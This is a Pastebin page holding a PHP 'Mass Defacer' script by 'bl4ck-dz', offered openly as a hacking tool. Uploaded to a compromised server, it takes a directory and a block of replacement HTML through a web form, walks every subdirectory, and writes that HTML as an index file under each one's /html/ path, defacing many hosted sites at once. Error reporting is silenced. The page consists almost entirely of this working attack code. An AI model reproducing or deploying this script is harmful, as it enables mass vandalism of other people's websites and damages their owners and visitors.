Advertisement
bl4ck-dz

[PHP] Mass Defacer by bl4ck-dz

Jul 21st, 2015
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.03 KB | None | 0 0
  1. <?php
  2. /* TWFzcyBEZWZhY2VyIEJ5IGJsNGNrLWR6 */
  3. error_reporting(0);
  4. echo "
  5. <html>
  6. <head><title>Mass Defacer By bl4ck-dz</title></head>
  7. <style type='text/css' rel='stylesheet'>
  8. body {
  9. background:url(http://wallarthd.com/wp-content/uploads/2014/11/Black-Hacker-Windows-Wallpaper-HD.jpg) no-repeat;
  10.     background-size:1020px 1000px;
  11.     color:#ABABAB;
  12.     font-family:Consolas,monaco,monospace;
  13.     text-align:center;
  14.     }
  15. h1 {
  16.     padding-right:20px;
  17.     color:#FF0808;
  18.     font-family:Palatino,Palatino Linotype,Palatino LT STD,Book Antiqua,Georgia,serif;
  19.     }
  20. #tab td input[type='text'] {
  21.     width:300px;
  22. }
  23. #tab td input[type='submit'] {
  24.     border:1px dashed #FB5C01;
  25.     padding:2px 5px 2px 5x;
  26.     margin:3px 5px 3px 5px;;
  27.     }
  28. </style>
  29. <body>
  30. <form action='' method='POST'>
  31. <h1>Mass Defacer By bl4ck-dz</h1>
  32. <table id='tab' align='center'>
  33. <tr><td>Mass deface Directory : </td><tr>
  34. <tr><td><input type='text' name='dir' value=".getcwd()."><br><br><td></tr>
  35. <tr><td>Path Of index : </td><tr>
  36. <tr><td><input type='text' name='filename' value='dz.html'><br><br><td></tr>
  37. <tr><td>Your index : </td></tr>
  38. <tr><td><textarea name='index' id='index' cols=50 rows=15>Paste Your index</textarea><br><br></td></tr>
  39. <tr><td><input type='submit' name='submit' value='submit'></td></tr>
  40. </table>
  41. </form>";
  42. $dir = $_POST['dir'];
  43. $filename = $_POST['filename'];
  44. $index =$_POST['index'];
  45. class massdeface {
  46.         private $dir;
  47.         private $index;
  48.         private $filename;
  49.         private $path = "/html/"; # Here Change The Path
  50.     public function __construct ($dir,$index,$filename) {
  51.             $this->dir=$dir;
  52.             $this->index=$index;
  53.             $this->filename=$filename;
  54.     }
  55.     public function MassDef () {
  56.     foreach (@scandir($this->dir) as $dirs ) {
  57.             if (@is_dir($this->dir.$dirs)) {
  58.                 file_put_contents ("$this->dir/$dirs/$this->path/$this->filename",$this->index);
  59.                 echo "<table align='center' style='color:blue'><tr><td>".$dirs.$this->path.$this->filename."</td></tr></table>";
  60.             }
  61.         }  
  62.     }
  63. }
  64. $dz = new massdeface ($dir,$index,$filename);
  65. echo $dz->MassDef();
  66. echo "</body></html>";
  67. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement